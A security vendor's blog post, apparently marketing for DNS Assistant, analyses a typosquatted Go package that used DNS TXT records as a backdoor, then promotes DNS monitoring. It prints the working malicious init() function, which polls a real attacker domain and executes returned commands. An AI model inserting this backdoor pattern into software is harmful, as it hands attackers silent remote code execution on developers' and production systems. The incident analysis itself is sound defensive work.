When DNS TXT Records Become a Backdoor: Lessons from a Go Supply Chain Attack

A malicious Go package sat in the open ecosystem for over two years, executing arbitrary commands on every machine that imported it. The backdoor wasn't hidden in encrypted payloads or obfuscated binaries. It was hiding in plain sight, using DNS TXT records as a command and control channel.

The attack, disclosed by Socket's Threat Research Team in May 2026, targeted developers who made a single-character typo when importing a popular Go library. The typosquatted package looked identical to the real one, passed all tests, and behaved exactly as expected for decimal arithmetic. The only difference was a hidden function that silently queried a DNS TXT record every five minutes and executed whatever command it found there.

This incident is a stark reminder that DNS isn't just infrastructure you configure and forget. It's an active attack surface, and TXT records in particular have become a favored channel for sophisticated threat actors who know that most organizations never monitor their DNS traffic.
What Happened: Anatomy of the Attack

The legitimate Go library github.com/shopspring/decimal is one of the most widely used packages in the Go ecosystem, with over 38,000 known importers. It handles arbitrary precision decimal arithmetic, making it essential for financial, billing, and cryptocurrency applications where floating-point rounding errors are unacceptable.

An attacker registered github.com/shopsprint/decimal, swapping a single character in the package name: shopspring became shopsprint. The typosquatted package was first published in November 2017 as a clean copy of the legitimate library. For nearly six years, it mirrored upstream releases faithfully, building a history of benign versions that made it look like a maintained fork.

Then, on August 19, 2023, the attacker published two releases seven minutes apart. The first (v1.3.2) contained only legitimate bugfixes copied from the upstream project. The second (v1.3.3) added the payload: a Go init() function that runs automatically when the package is imported, spawning a background goroutine that queries a DNS TXT record every five minutes and executes whatever command the record contains.

The code was minimal and devastating:

func init(){
go func(){
for {
records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com")
if err != nil {
time.Sleep(5 * time.Minute)
continue
}
for _, txt := range records {
cmd := exec.Command(txt)
cmd.CombinedOutput()
}
time.Sleep(5 * time.Minute)
}
}()
}

Every five minutes, the infected process asks the DNS system: "What TXT records exist for this domain?" Whatever text string comes back gets executed as a system command. No HTTP traffic, no suspicious outbound connections, no files written to disk. Just a DNS query that looks indistinguishable from normal network activity.
Why DNS TXT Records?

The choice of DNS TXT as a command and control channel is deliberate and sophisticated. Most organizations focus their security monitoring on HTTP/HTTPS traffic, email, and file system changes. DNS traffic is rarely inspected at the same level, especially on developer workstations and CI/CD runners where DNS queries happen constantly as part of normal operations.

TXT records are particularly effective because they're designed to carry arbitrary text data. They're used legitimately for SPF records, DKIM keys, domain verification, and dozens of other purposes. A TXT query to an unfamiliar domain doesn't trigger the same alarms that an HTTP POST to an unknown IP would.

The attacker hosted their C2 domain on freemyip.com, a free dynamic DNS provider. This gave them the ability to change the TXT record value instantly through a web panel, swapping commands with no registrar friction. The domain's A record pointed to 8.8.8.8 (Google's public DNS) as a decoy, so any tool resolving the hostname would see a legitimate-looking IP address while the actual payload was delivered entirely through TXT records.
The Scale of the Threat

This attack ran undetected for approximately thirty-three months, from August 2023 to May 2026. During that window, any developer, CI pipeline, or production system that imported the typosquatted package received the backdoor. The malicious code:

Executed with the same privileges as the importing process
Produced no output, no log entries, and no error messages
Persisted automatically for the lifetime of the process and reactivated on every restart
Required no filesystem changes, no registry modifications, and no scheduled tasks
Could deliver any command at any time simply by updating a DNS TXT record

A developer workstation running this code inherits the developer's credentials, SSH keys, and access tokens. A CI runner inherits repository tokens and deployment credentials. A production container inherits mounted secrets and service account permissions. The blast radius scales with the privileges of whatever process imported the package.

Even after the GitHub repository and owner account were deleted, the malicious version remained permanently available through Go's module proxy at proxy.golang.org, which caches all published versions indefinitely as part of Go's reproducibility guarantee.
DNS as an Attack Vector: A Growing Trend

This incident isn't isolated. DNS-based command and control has been growing as a technique because it exploits a fundamental blind spot in most security architectures. Organizations invest heavily in firewalls, intrusion detection, endpoint protection, and HTTPS inspection, but DNS traffic flows through largely unmonitored.

The attack patterns are varied:

TXT record C2 (as in this case): Commands delivered via TXT records, executed by malware polling at regular intervals
DNS tunneling: Data exfiltration encoded in DNS queries, where stolen data is sent as subdomain labels in lookups to attacker-controlled nameservers
DNS rebinding: Manipulating DNS responses to bypass same-origin policies and access internal networks
Dangling DNS / subdomain takeover: Exploiting forgotten CNAME records pointing to decommissioned cloud services

What connects all of these is the assumption that DNS is a passive, trustworthy protocol that doesn't need the same scrutiny as HTTP traffic. That assumption is increasingly dangerous.
How DNS Assistant Provides Visibility

DNS Assistant is built to give organizations visibility into exactly the kind of DNS activity that makes attacks like this possible. While DNS Assistant monitors your domains (not your internal network traffic), the platform's capabilities directly address several layers of the DNS threat landscape:
TXT Record Change Detection

DNS Assistant continuously monitors TXT records across all your domains and alerts on any changes. If an attacker modifies or adds TXT records on a domain you own (whether through compromised credentials, registrar access, or DNS provider access), you'll know immediately. This matters because TXT records are increasingly used for critical security functions: SPF authorization, DKIM signing keys, DMARC policies, domain verification tokens, and more. An unauthorized TXT record change can mean anything from email spoofing enablement to the kind of C2 infrastructure used in this Go supply chain attack.
Dangling DNS Detection

One of the ways attackers establish C2 infrastructure is by taking over abandoned subdomains. If your organization has CNAME records pointing to decommissioned cloud services, an attacker can claim that service endpoint and serve whatever content they want under your domain, including TXT records used for C2. DNS Assistant checks for dangling DNS records across 22+ cloud provider fingerprints, identifying subdomains vulnerable to takeover before attackers find them.
WHOIS and Domain Monitoring

The attacker in this case used a free dynamic DNS provider for their C2 domain. DNS Assistant's WHOIS monitoring tracks registration changes on your domains, alerting you to unauthorized transfers, registrar changes, or expiration risks. Maintaining control of your domain registrations is the first line of defense against DNS-based attacks.
SPF, DKIM, and DMARC Monitoring

TXT records serve double duty as email authentication infrastructure. An attacker who gains the ability to modify your TXT records can weaken your SPF policy, add unauthorized DKIM selectors, or downgrade your DMARC enforcement, all of which enable email spoofing campaigns using your domain. DNS Assistant monitors these authentication records and alerts when policies change, ensuring your email security posture isn't silently degraded.
What Organizations Should Do

1. Treat DNS as a Security-Critical Layer

DNS is not passive infrastructure. It's an active attack surface that carries authentication policies, service routing, and (as this incident shows) can be used as a covert command channel. Monitor your DNS records with the same rigor you apply to firewall rules and access controls. DNS Assistant provides continuous monitoring of all record types across your entire domain portfolio.

1. Audit Your TXT Records Regularly

TXT records accumulate over time as services are added, trials are started, and verification tokens are created. Many organizations have TXT records they can't explain, left behind by former employees, abandoned projects, or forgotten vendor integrations. Each unexplained TXT record is a potential risk. Use DNS Assistant to establish a baseline of your TXT records and get alerted when anything changes.

1. Monitor for Dangling DNS

Abandoned subdomains pointing to decommissioned cloud services are one of the most common and least monitored attack surfaces in modern infrastructure. DNS Assistant scans for these across all major cloud providers and flags them for remediation.

1. Secure Your Domain Registrations

The ability to modify DNS records starts at the registrar level. Ensure all domain registrations use strong authentication, registrar locks are enabled, and WHOIS changes trigger alerts. DNS Assistant's WHOIS monitoring gives you visibility into registration-level changes that could indicate unauthorized access.

1. Keep Email Authentication Tight

SPF, DKIM, and DMARC records are stored as TXT records. Any unauthorized modification to these records can enable email spoofing at scale. DNS Assistant monitors your email authentication configuration and alerts on policy changes, helping you maintain the integrity of your email security posture.
The Bigger Picture

The Go supply chain attack is a perfect example of how modern threats cross traditional security boundaries. It's a software supply chain attack that uses DNS as its covert channel. It's a code-level compromise that manifests as network-level activity. It's an attack on developers that ultimately threatens production infrastructure.

The organizations best positioned to detect and respond to these threats are the ones with visibility across all layers, not just endpoints, not just network traffic, but also DNS. Because when an attacker can deliver arbitrary commands through a protocol that most security tools ignore, the only defense is to stop ignoring it.

DNS Assistant gives your team that visibility. Continuous monitoring of every DNS record type, real-time change detection, dangling DNS identification, WHOIS tracking, and configurable alerting across email, Slack, Teams, webhooks, and SMS.

Sign up at dnsassistant.com and take control of your DNS security posture.